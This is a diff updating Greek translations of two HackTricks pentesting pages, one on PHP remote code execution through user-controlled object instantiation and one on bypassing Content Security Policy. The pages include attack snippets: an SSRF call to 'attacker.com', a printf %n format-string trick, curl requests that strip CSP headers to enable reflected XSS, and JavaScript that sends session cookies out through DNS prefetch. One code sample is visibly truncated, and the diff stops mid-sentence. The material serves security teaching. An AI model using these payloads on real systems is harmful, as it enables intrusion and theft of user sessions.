εκμετάλλευση δημιουργίας αντικειμένων: new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCE εκμετάλλευση δημιουργίας αντικειμένου: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -Αυτό είναι βασικά μια περίληψη του [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +Αυτό είναι βασικά μια σύνοψη του [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Εισαγωγή -Η δημιουργία νέων αυθαίρετων αντικειμένων, όπως το `new $_GET["a"]($_GET["a"])`, μπορεί να οδηγήσει σε Remote Code Execution (RCE), όπως αναφέρεται σε μια [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Αυτό το έγγραφο επισημαίνει διάφορες στρατηγικές για την επίτευξη RCE. +Η δημιουργία νέων αυθαίρετων αντικειμένων, όπως `new $_GET["a"]($_GET["a"])`, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα (Remote Code Execution, RCE), όπως περιγράφεται σε ένα [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Το έγγραφο αυτό τονίζει διάφορες στρατηγικές για την επίτευξη RCE. -## RCE μέσω Προσαρμοσμένων Κλάσεων ή Αυτοφόρτωσης +## RCE μέσω Προσαρμοσμένων Κλάσεων ή Autoloading -Η σύνταξη `new $a($b)` χρησιμοποιείται για την αρχικοποίηση ενός αντικειμένου όπου **`$a`** αντιπροσωπεύει το όνομα της κλάσης και **`$b`** είναι το πρώτο επιχείρημα που περνάει στον κατασκευαστή. Αυτές οι μεταβλητές μπορούν να προέρχονται από εισόδους χρηστών όπως GET/POST, όπου μπορεί να είναι συμβολοσειρές ή πίνακες, ή από JSON, όπου μπορεί να εμφανίζονται ως άλλοι τύποι. +Η σύνταξη `new $a($b)` χρησιμοποιείται για να στιγμιοτυπήσει ένα αντικείμενο όπου **`$a`** αντιπροσωπεύει το όνομα κλάσης και **`$b`** είναι το πρώτο όρισμα που περνάει στον constructor. Αυτές οι μεταβλητές μπορούν να προέρχονται από εισόδους χρήστη όπως GET/POST, όπου μπορεί να είναι συμβολοσειρές ή πίνακες, ή από JSON, όπου μπορεί να εμφανίζονται ως άλλοι τύποι. Σκεφτείτε το παρακάτω απόσπασμα κώδικα: ```php @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -Σε αυτή την περίπτωση, η ρύθμιση του `$a` σε `App` ή `App2` και του `$b` σε μια εντολή συστήματος (π.χ., `uname -a`) έχει ως αποτέλεσμα την εκτέλεση αυτής της εντολής. +Σε αυτή την περίπτωση, η ανάθεση του `$a` σε `App` ή `App2` και του `$b` σε μια εντολή συστήματος (π.χ. `uname -a`) έχει ως αποτέλεσμα την εκτέλεση αυτής της εντολής. -**Οι συναρτήσεις αυτόματης φόρτωσης** μπορούν να εκμεταλλευτούν αν δεν υπάρχουν τέτοιες κλάσεις άμεσα προσβάσιμες. Αυτές οι συναρτήσεις φορτώνουν αυτόματα κλάσεις από αρχεία όταν χρειάζεται και ορίζονται χρησιμοποιώντας `spl_autoload_register` ή `__autoload`: +**Autoloading functions** μπορούν να εκμεταλλευτούν αν δεν υπάρχουν τέτοιες κλάσεις άμεσα προσβάσιμες. Αυτές οι συναρτήσεις φορτώνουν αυτόματα κλάσεις από αρχεία όταν χρειάζεται και ορίζονται χρησιμοποιώντας `spl_autoload_register` ή `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,52 +45,76 @@ include $class_name . '.php'; spl_autoload_register(); ``` -Η συμπεριφορά της αυτόματης φόρτωσης διαφέρει ανάλογα με τις εκδόσεις PHP, προσφέροντας διαφορετικές δυνατότητες RCE. +Η συμπεριφορά του autoloading διαφέρει ανάλογα με τις εκδόσεις του PHP, προσφέροντας διαφορετικές δυνατότητες για RCE. -## RCE μέσω Ενσωματωμένων Κλάσεων +## RCE μέσω ενσωματωμένων κλάσεων -Λείποντας προσαρμοσμένες κλάσεις ή αυτόματους φορτωτές, **οι ενσωματωμένες κλάσεις PHP** μπορεί να είναι επαρκείς για RCE. Ο αριθμός αυτών των κλάσεων κυμαίνεται μεταξύ 100 και 200, ανάλογα με την έκδοση PHP και τις επεκτάσεις. Μπορούν να καταγραφούν χρησιμοποιώντας `get_declared_classes()`. +Ελλείψει custom classes ή autoloaders, οι **built-in PHP classes** μπορεί να είναι αρκετές για RCE. Ο αριθμός αυτών των κλάσεων κυμαίνεται από 100 έως 200, ανάλογα με την έκδοση του PHP και τα extensions. Μπορούν να απαριθμηθούν χρησιμοποιώντας `get_declared_classes()`. -Οι κατασκευαστές που ενδιαφέρουν μπορούν να εντοπιστούν μέσω του API αντανάκλασης, όπως φαίνεται στο παρακάτω παράδειγμα και στον σύνδεσμο [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Οι κατασκευαστές ενδιαφέροντος μπορούν να εντοπιστούν μέσω του reflection API, όπως φαίνεται στο παρακάτω παράδειγμα και στο σύνδεσμο [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**Η RCE μέσω συγκεκριμένων μεθόδων περιλαμβάνει:** +**RCE via specific methods includes:** ### **SSRF + Phar Deserialization** -Η κλάση `SplFileObject` επιτρέπει SSRF μέσω του κατασκευαστή της, επιτρέποντας συνδέσεις σε οποιοδήποτε URL: +Η κλάση `SplFileObject` επιτρέπει SSRF μέσω του constructor της, επιτρέποντας συνδέσεις σε οποιοδήποτε URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF μπορεί να οδηγήσει σε επιθέσεις αποσυμπίεσης σε εκδόσεις του PHP πριν από την 8.0 χρησιμοποιώντας το πρωτόκολλο Phar. +Το SSRF μπορεί να οδηγήσει σε επιθέσεις αποσειριοποίησης σε εκδόσεις του PHP πριν από την 8.0 χρησιμοποιώντας το πρωτόκολλο Phar. -### **Εκμετάλλευση PDOs** +### **Exploiting PDOs** -Ο κατασκευαστής κλάσης PDO επιτρέπει συνδέσεις σε βάσεις δεδομένων μέσω DSN strings, ενδεχομένως επιτρέποντας τη δημιουργία αρχείων ή άλλες αλληλεπιδράσεις: +Ο constructor της κλάσης PDO επιτρέπει συνδέσεις σε βάσεις δεδομένων μέσω DSN strings, ενδεχομένως επιτρέποντας τη δημιουργία αρχείων ή άλλες αλληλεπιδράσεις: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Οι εκδόσεις του PHP μέχρι την 5.3.22 και 5.4.12 ήταν ευάλωτες σε επιθέσεις XXE μέσω των κατασκευαστών `SoapClient` και `SimpleXMLElement`, ανάλογα με την έκδοση του libxml2. +Έκδοσεις του PHP μέχρι τις 5.3.22 και 5.4.12 ήταν ευάλωτες σε XXE επιθέσεις μέσω των constructors `SoapClient` και `SimpleXMLElement`, ανάλογα με την έκδοση του libxml2. -## RCE μέσω της Επέκτασης Imagick +## RCE via Imagick Extension -Στην ανάλυση των **εξαρτήσεων ενός έργου**, ανακαλύφθηκε ότι η **Imagick** θα μπορούσε να αξιοποιηθεί για **εκτέλεση εντολών** δημιουργώντας νέες αντικείμενα. Αυτό προσφέρει μια ευκαιρία για εκμετάλλευση ευπαθειών. +Στην ανάλυση των **project's dependencies** διαπιστώθηκε ότι η **Imagick** μπορούσε να αξιοποιηθεί για **command execution** μέσω της δημιουργίας νέων αντικειμένων. Αυτό δημιουργεί ευκαιρία για εκμετάλλευση ευπαθειών. ### VID parser -Η δυνατότητα του VID parser να γράφει περιεχόμενο σε οποιαδήποτε καθορισμένη διαδρομή στο σύστημα αρχείων εντοπίστηκε. Αυτό θα μπορούσε να οδηγήσει στην τοποθέτηση ενός PHP shell σε έναν κατάλογο προσβάσιμο μέσω του διαδικτύου, επιτυγχάνοντας Remote Code Execution (RCE). +Διαπιστώθηκε η δυνατότητα του VID parser να γράφει περιεχόμενο σε οποιαδήποτε καθορισμένη διαδρομή στο σύστημα αρχείων. Αυτό μπορεί να οδηγήσει στην τοποθέτηση ενός PHP shell σε έναν web-accessible κατάλογο, επιτυγχάνοντας Remote Code Execution (RCE). -#### VID Parser + Αποστολή Αρχείων +#### VID Parser + File Upload -Σημειώνεται ότι το PHP αποθηκεύει προσωρινά τα ανεβασμένα αρχεία στο `/tmp/phpXXXXXX`. Ο VID parser στην Imagick, χρησιμοποιώντας το **msl** πρωτόκολλο, μπορεί να χειριστεί χαρακτήρες μπαλαντέρ σε διαδρομές αρχείων, διευκολύνοντας τη μεταφορά του προσωρινού αρχείου σε μια επιλεγμένη τοποθεσία. Αυτή η μέθοδος προσφέρει μια επιπλέον προσέγγιση για την επίτευξη αυθαίρετης εγγραφής αρχείων στο σύστημα αρχείων. +Σημειώνεται ότι το PHP αποθηκεύει προσωρινά uploaded αρχεία στο `/tmp/phpXXXXXX`. Ο VID parser στην Imagick, χρησιμοποιώντας το πρωτόκολλο **msl**, μπορεί να χειριστεί wildcards σε file paths, διευκολύνοντας τη μεταφορά του προσωρινού αρχείου σε επιλεγμένη θέση. Αυτή η μέθοδος προσφέρει μια επιπλέον προσέγγιση για εγγραφή αυθαίρετων αρχείων στο σύστημα αρχείων. ### PHP Crash + Brute Force -Μια μέθοδος που περιγράφεται στην [**αρχική αναφορά**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) περιλαμβάνει την αποστολή αρχείων που προκαλούν μια κατάρρευση του διακομιστή πριν από τη διαγραφή. Με την brute-force του ονόματος του προσωρινού αρχείου, καθίσταται δυνατή η εκτέλεση αυθαίρετου PHP κώδικα από την Imagick. Ωστόσο, αυτή η τεχνική βρέθηκε ότι ήταν αποτελεσματική μόνο σε μια παλιά έκδοση του ImageMagick. +Μια μέθοδος που περιγράφεται στο [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) περιλαμβάνει το upload αρχείων που προκαλούν crash του server πριν τη διαγραφή. Με brute-forcing του ονόματος του προσωρινού αρχείου, γίνεται δυνατό για την Imagick να εκτελέσει arbitrary PHP code. Ωστόσο, αυτή η τεχνική βρέθηκε αποτελεσματική μόνο σε παλαιότερη έκδοση του ImageMagick. + +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +Όταν το user input ελέγχει το όνομα κλάσης (π.χ., `new $_GET['model']()`), η PHP 7.0.0 εισήγαγε ένα προσωρινό bug κατά τη διάρκεια του `Throwable` refactor όπου ο engine εσφαλμένα αντιμετώπιζε το όνομα κλάσης ως printf format string κατά την επίλυση. Αυτό επιτρέπει κλασικά printf-style primitives μέσα στο PHP: leaks με `%p`, έλεγχο του write-count με width specifiers, και arbitrary writes με `%n` εναντίον in-process pointers (π.χ. GOT entries σε ELF builds). + +Ελάχιστο αναπαραγωγικό ευάλωτο πρότυπο: +```php +d%$n` για να πραγματοποιήσουν την μερική overwrite. ## Αναφορές -- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ +- The Art of PHP: CTF‑born exploits and techniques {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 85cebcb6f..c526e2126 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,30 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} -## Τι είναι το CSP +## What is CSP -Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως μια τεχνολογία προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`. +Content Security Policy (CSP) αναγνωρίζεται ως τεχνολογία του browser, κυρίως με στόχο την **προστασία από επιθέσεις όπως το cross-site scripting (XSS)**. Λειτουργεί ορίζοντας και καθορίζοντας τις διαδρομές και τις πηγές από τις οποίες ο browser μπορεί να φορτώνει με ασφάλεια πόρους. Αυτοί οι πόροι περιλαμβάνουν στοιχεία όπως εικόνες, frames και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέψει τη φόρτωση και την εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων inline resources και την εκτέλεση string code μέσω συναρτήσεων όπως `eval`, `setTimeout`, ή `setInterval`. -Η εφαρμογή του CSP πραγματοποιείται μέσω **κεφαλίδων απόκρισης** ή με την ενσωμάτωση **meta στοιχείων στη σελίδα HTML**. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους κανονισμούς και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις. +Η εφαρμογή του CSP γίνεται μέσω **response headers** ή με την ενσωμάτωση **meta elements στην HTML σελίδα**. Σύμφωνα με αυτή την πολιτική, οι browsers επιβάλλουν ενεργά αυτούς τους κανόνες και μπλοκάρουν άμεσα τυχόν ανιχνευόμενες παραβιάσεις. - Implemented via response header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Υλοποιήθηκε μέσω του meta tag: +- Υλοποιείται μέσω meta tag: ```xml ``` ### Headers -CSP μπορεί να επιβληθεί ή να παρακολουθείται χρησιμοποιώντας αυτές τις κεφαλίδες: +Το CSP μπορεί να εφαρμοστεί ή να παρακολουθηθεί χρησιμοποιώντας αυτές τις κεφαλίδες: -- `Content-Security-Policy`: Επιβάλλει το CSP; ο περιηγητής μπλοκάρει οποιεσδήποτε παραβιάσεις. -- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση; αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε περιβάλλοντα προ-παραγωγής. +- `Content-Security-Policy`: Επιβάλλει το CSP· ο browser μπλοκάρει τυχόν παραβιάσεις. +- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση· αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε προπαραγωγικά περιβάλλοντα. ### Defining Resources -CSP περιορίζει τις προελεύσεις για τη φόρτωση τόσο ενεργού όσο και παθητικού περιεχομένου, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση του `eval()`. Ένα παράδειγμα πολιτικής είναι: +Το CSP περιορίζει τις πηγές από τις οποίες φορτώνεται τόσο ενεργό όσο και παθητικό περιεχόμενο, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση του `eval()`. Ένα παράδειγμα πολιτικής είναι: ```bash default-src 'none'; img-src 'self'; @@ -39,38 +39,38 @@ object-src 'none'; ``` ### Οδηγίες -- **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets. -- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες fetch. -- **child-src**: Προσδιορίζει τις επιτρεπόμενες πηγές για web workers και περιεχόμενο ενσωματωμένων πλαισίων. -- **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Περιορίζει τα URLs για πλαίσια. -- **frame-ancestors**: Προσδιορίζει ποιες πηγές μπορούν να ενσωματώσουν τη τρέχουσα σελίδα, εφαρμόσιμο σε στοιχεία όπως ``, ` // The bot will load an URL with the payload @@ -546,24 +547,24 @@ console.log(prefix) run() ``` -### Via Bookmarklets +### Μέσω Bookmarklets -Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να ρίξει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και ρίχνεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος διαδικτυακού παραθύρου, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens. +Αυτή η επίθεση προϋποθέτει κάποια social engineering όπου ο attacker **πείθει τον χρήστη να σύρει και να αφήσει έναν σύνδεσμο πάνω στο bookmarklet του browser**. Το bookmarklet αυτό θα περιέχει **κακόβουλο javascript** code που όταν γίνει drag\&dropped ή κλικ θα εκτελεστεί στο context του τρέχοντος web window, **παρακάμπτοντας την CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens. -Για περισσότερες πληροφορίες [**ελέγξτε την αρχική αναφορά εδώ**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP bypass by restricting CSP +### Παράκαμψη CSP με περιορισμό της CSP -Στο [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**. +In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), η CSP παρακάμπτεται με την έγχυση μέσα σε ένα επιτρεπόμενο iframe μιας πιο περιοριστικής CSP που απαγόρευε το φόρτωμα ενός συγκεκριμένου JS file το οποίο, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε το **abuse a different script to load an arbitrary script**. -Μπορείτε να **περιορίσετε ένα CSP ενός Iframe** με το **`csp`** χαρακτηριστικό: +Μπορείτε να **περιορίσετε την CSP ενός Iframe** με το **`csp`** attribute: ```html ``` -Στο [**αυτό το CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **περιοριστεί** περισσότερο μια **CSP** έτσι ώστε ένα σενάριο που προλαμβάνει το CSTI να απενεργοποιήθηκε και επομένως η **ευπάθεια έγινε εκμεταλλεύσιμη.**\ -Η CSP μπορεί να γίνει πιο περιοριστική χρησιμοποιώντας **HTML meta tags** και τα inline scripts μπορούν να απενεργοποιηθούν **αφαιρώντας** την **είσοδο** που επιτρέπει το **nonce** τους και **ενεργοποιώντας συγκεκριμένο inline script μέσω sha**: +In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **πιο περιοριστικό** ένα **CSP**, έτσι ώστε ένα script που απέτρεπε το CSTI να απενεργοποιηθεί και επομένως η **vulnerability became exploitable.**\ +Το CSP μπορεί να γίνει πιο περιοριστικό χρησιμοποιώντας **HTML meta tags** και τα inline scripts μπορούν να απενεργοποιηθούν **αφαιρώντας** την **entry** που επιτρέπει το **nonce** τους και **επιτρέποντας συγκεκριμένο inline script μέσω sha**: ```html ' ``` -### Διαρροή Πληροφοριών με CSP και Iframe +### Leaking Information with CSP and Iframe -- Ένα `iframe` δημιουργείται που δείχνει σε μια διεύθυνση URL (ας την ονομάσουμε `https://example.redirect.com`) η οποία επιτρέπεται από το CSP. -- Αυτή η διεύθυνση URL ανακατευθύνει σε μια μυστική διεύθυνση URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από το CSP. -- Ακούγοντας το γεγονός `securitypolicyviolation`, μπορεί κανείς να συλλάβει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain της μπλοκαρισμένης URI, διαρρέοντας το μυστικό domain στο οποίο ανακατευθύνθηκε η αρχική διεύθυνση URL. +- Ένα `iframe` δημιουργείται που δείχνει σε ένα URL (ας το ονομάσουμε `https://example.redirect.com`) το οποίο επιτρέπεται από CSP. +- Αυτό το URL στη συνέχεια ανακατευθύνει σε ένα μυστικό URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από CSP. +- Ακούγοντας το event `securitypolicyviolation`, μπορεί κάποιος να συλλάβει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain του blocked URI, εκθέτοντας το μυστικό domain στο οποίο ανακατεύθηκε το αρχικό URL. -Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς. +Είναι ενδιαφέρον ότι browsers όπως οι Chrome και Firefox έχουν διαφορετική συμπεριφορά στην αντιμετώπιση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή έκθεση ευαίσθητων πληροφοριών λόγω μη ορισμένης συμπεριφοράς. -Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP αυτού καθαυτού για να συμπεράνουμε το μυστικό υποdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP για να περιλαμβάνει συγκεκριμένα domains που είναι σκόπιμα μπλοκαρισμένα. Για παράδειγμα, αν το μυστικό υποdomain αποτελείται από άγνωστους χαρακτήρες, μπορείτε να δοκιμάσετε επαναληπτικά διαφορετικά υποdomains τροποποιώντας την οδηγία CSP για να μπλοκάρετε ή να επιτρέψετε αυτά τα υποdomains. Ακολουθεί ένα απόσπασμα που δείχνει πώς μπορεί να ρυθμιστεί το CSP για να διευκολύνει αυτή τη μέθοδο: +Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP για να εξαχθεί το μυστικό subdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP ώστε να συμπεριλαμβάνει συγκεκριμένα domains που αποκλείονται σκόπιμα. Για παράδειγμα, αν το μυστικό subdomain αποτελείται από άγνωστους χαρακτήρες, μπορείς επαναληπτικά να δοκιμάσεις διαφορετικά subdomains τροποποιώντας την οδηγία CSP για να μπλοκάρεις ή να επιτρέψεις αυτά τα subdomains. Εδώ υπάρχει ένα snippet που δείχνει πώς το CSP μπορεί να ρυθμιστεί για να διευκολύνει αυτή τη μέθοδο: ```markdown img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` -Με την παρακολούθηση των αιτημάτων που αποκλείονται ή επιτρέπονται από την CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL. +Παρακολουθώντας ποιες αιτήσεις αποκλείονται ή επιτρέπονται από το CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL. -Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς της CSP στους περιηγητές, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες. +Και οι δύο μέθοδοι εκμεταλλεύονται τις αποχρώσεις στην υλοποίηση του CSP και τη συμπεριφορά των browsers, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορεί ακούσια να leak ευαίσθητες πληροφορίες. Trick from [**here**](https://ctftime.org/writeup/29310). -## Unsafe Technologies to Bypass CSP +## Μη ασφαλείς τεχνολογίες για παράκαμψη του CSP -### PHP Errors when too many params +### PHP Σφάλματα όταν υπάρχουν πάρα πολλές παράμετροι -Σύμφωνα με την [**τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκαλέσει αυτό. +Σύμφωνα με την [**τελευταία τεχνική που σχολίαζεται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή υπερβολικών παραμέτρων (1001 GET parameters αν και μπορείτε επίσης να το κάνετε με POST params και με περισσότερα από 20 files). Οποιοδήποτε ορισμένο **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκληθεί. -### PHP response buffer overload +### Υπερφόρτωση buffer απάντησης της PHP -Η PHP είναι γνωστή για **την αποθήκευση της απόκρισης σε 4096** bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει προειδοποίηση, παρέχοντας **αρκετά δεδομένα μέσα στις προειδοποιήσεις**, η **απόκριση** θα **σταλεί** **πριν** από την **κεφαλίδα CSP**, προκαλώντας την κεφαλίδα να αγνοηθεί.\ -Έτσι, η τεχνική συνίσταται βασικά στο **να γεμίσετε το buffer απόκρισης με προειδοποιήσεις** ώστε η κεφαλίδα CSP να μην σταλεί. +Η PHP είναι γνωστή ότι κάνει buffering της απάντησης στα 4096 bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει μια προειδοποίηση, παρέχοντας **αρκετά δεδομένα μέσα στις προειδοποιήσεις**, η **απάντηση** θα **σταλεί** **πριν** το **CSP header**, με αποτέλεσμα το header να αγνοηθεί.\ +Η τεχνική ουσιαστικά συνίσταται στο **γέμισμα του response buffer με προειδοποιήσεις** ώστε το CSP header να μην σταλεί. Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). -### Rewrite Error Page +### Kill CSP via max_input_vars (headers already sent) -Από [**αυτή τη γραφή**](https://blog.ssrf.kr/69) φαίνεται ότι ήταν δυνατό να παρακαμφθεί μια προστασία CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και επαναγράφοντας το περιεχόμενό της. +Επειδή τα headers πρέπει να σταλούν πριν από οποιαδήποτε έξοδο, οι προειδοποιήσεις που παράγει η PHP μπορούν να ακυρώσουν μετέπειτα κλήσεις `header()`. Αν τα δεδομένα χρήστη υπερβούν το `max_input_vars`, η PHP εκτυπώνει πρώτα μια startup warning· οποιαδήποτε επακόλουθη `header('Content-Security-Policy: ...')` θα αποτύχει με “headers already sent”, απενεργοποιώντας ουσιαστικά το CSP και επιτρέποντας reflective XSS που διαφορετικά θα ήταν μπλοκαρισμένο. +```php +" + +# Exceed max_input_vars to force warnings before header() → CSP stripped +curl -i "http://orange.local/?xss=&A=1&A=2&...&A=1000" +# Warning: PHP Request Startup: Input variables exceeded 1000 ... +# Warning: Cannot modify header information - headers already sent +``` +### Επανεγραφή Σελίδας Σφάλματος + +Από [**this writeup**](https://blog.ssrf.kr/69) φαίνεται ότι ήταν δυνατό να γίνει bypass μιας προστασίας CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και επανεγράφοντας το περιεχόμενό της. ```javascript a = window.open("/" + "x".repeat(4100)) setTimeout(function () { @@ -625,40 +644,40 @@ a.document.body.innerHTML = ` ``` ### DNS Prefetch -Για να φορτώσουν τις σελίδες πιο γρήγορα, οι φυλλομετρητές θα προ-λύσουν τα ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και θα τα αποθηκεύσουν στην κρυφή μνήμη για μελλοντική χρήση.\ -Μπορείτε να υποδείξετε σε έναν φυλλομετρητή να προ-λύσει ένα όνομα κεντρικού υπολογιστή με: `` +Για να φορτώνουν οι σελίδες πιο γρήγορα, οι browsers προεπιλύουν hostnames σε IP addresses και τα αποθηκεύουν στην cache για μετέπειτα χρήση.\ +Μπορείτε να υποδείξετε σε έναν browser να προ-επιλύσει ένα hostname με: `` -Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **εξάγετε ευαίσθητες πληροφορίες μέσω DNS αιτημάτων**: +Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **εξαγάγετε ευαίσθητες πληροφορίες μέσω DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -675,16 +694,16 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Για να αποφευχθεί αυτό, ο διακομιστής μπορεί να στείλει την κεφαλίδα HTTP: +Για να αποφευχθεί αυτό, ο server μπορεί να στείλει το HTTP header: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> Προφανώς, αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots) +> Φαίνεται ότι αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots) ### WebRTC -Σε πολλές σελίδες μπορείτε να διαβάσετε 